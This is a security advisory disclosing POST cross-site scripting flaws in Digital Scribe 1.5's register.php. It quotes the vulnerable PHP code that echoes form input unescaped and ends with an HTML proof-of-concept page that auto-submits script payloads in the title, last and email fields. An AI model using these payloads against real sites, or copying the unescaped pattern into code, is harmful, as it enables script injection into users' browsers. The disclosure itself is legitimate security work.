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Digital Scribe 1.5 (register_form()) Multiple POST XSS Vulnerabilities


Vendor: Digital Scribe
Product web page: http://www.digital-scribe.org
Affected version: 1.5

Summary: The Digital Scribe is a free, intuitive system designed
to help teachers put student work and homework assignments online.

Desc: Digital Scribe suffers from multiple POST XSS vulnerabilities.
Input thru the POST parameters 'title', 'last' and 'email' in register.php
is not sanitized allowing the attacker to execute HTML code into user's
browser session on the affected site.

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register.php:
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21: function register_form() {
22: global $user, $email, $last, $title, $passuno, $passuno2, $_POST, $_GET;
23: include("access.inc.php");
24: ?>
25: <FORM METHOD=POST ACTION=register.php>
26: <table><tr><td align=right>
27: Title:</td><td><INPUT TYPE=TEXT NAME=title VALUE="<?php echo ($_POST['title']); ?>" SIZE=4> (Mr., Mrs., etc)
28: </td></tr>
29: <tr><td align=right>Last Name:</td><td><INPUT TYPE=TEXT NAME=last VALUE="<?php echo ($_POST['last']); ?>"></td></tr>
30: <tr><td align=right>Password:</td><td><INPUT TYPE=PASSWORD NAME=passuno></td></tr>
31: <tr><td>
32: Password Again:</td><td><INPUT TYPE=passWORD NAME=passuno2></td></tr>
33: <tr><td align=right>
34: E-Mail:</td><td><INPUT TYPE=TEXT NAME=email SIZE=34 VALUE=<?php echo $_POST['email'] ?>></td>
35: </tr><tr><td>
36: <?php
37: IF($_GET['type']=='a' OR $_POST['announcements']==4) {
38: echo '<INPUT TYPE=HIDDEN NAME=announcements VALUE=4>';
39: }

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Tested on: Microsoft Windows XP Professional SP3 (EN)
           Apache 2.2.14 (Win32)
           PHP 5.3.1
           MySQL 5.1.41


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Vendor status:

[28.07.2011] Vulnerabilities discovered.
[28.07.2011] Initial contact with the vendor.
[30.07.2011] No reply from vendor.
[31.07.2011] Public security advisory released.


Advisory ID: ZSL-2011-5030
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5030.php


28.07.2011

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<html>
<title>Digital Scribe 1.5 (register_form()) Multiple POST XSS Vulnerabilities</title>
<body bgcolor="#1C1C1C">
<script type="text/javascript">
function xss(){document.forms["xss"].submit();}
</script>
<br /><br />
<form action="http://localhost/digitalscribe/digitalscribe/register.php" enctype="application/x-www-form-urlencoded" method="POST" id="xss">
<input type="hidden" name="title" value='"><script>alert(1)</script>' />
<input type="hidden" name="last" value='"><script>alert(2)</script>' />
<input type="hidden" name="email" value='1"><script>alert(3)</script>' />
<input type="hidden" name="action" value="4" />
<input type="hidden" name="Submit" value="Register" />
</form>
<a href="javascript: xss();" style="text-decoration:none">
<b><font color="red"><center><h3>Exploit!</h3></center></font></b></a><br /><br />
</body></html>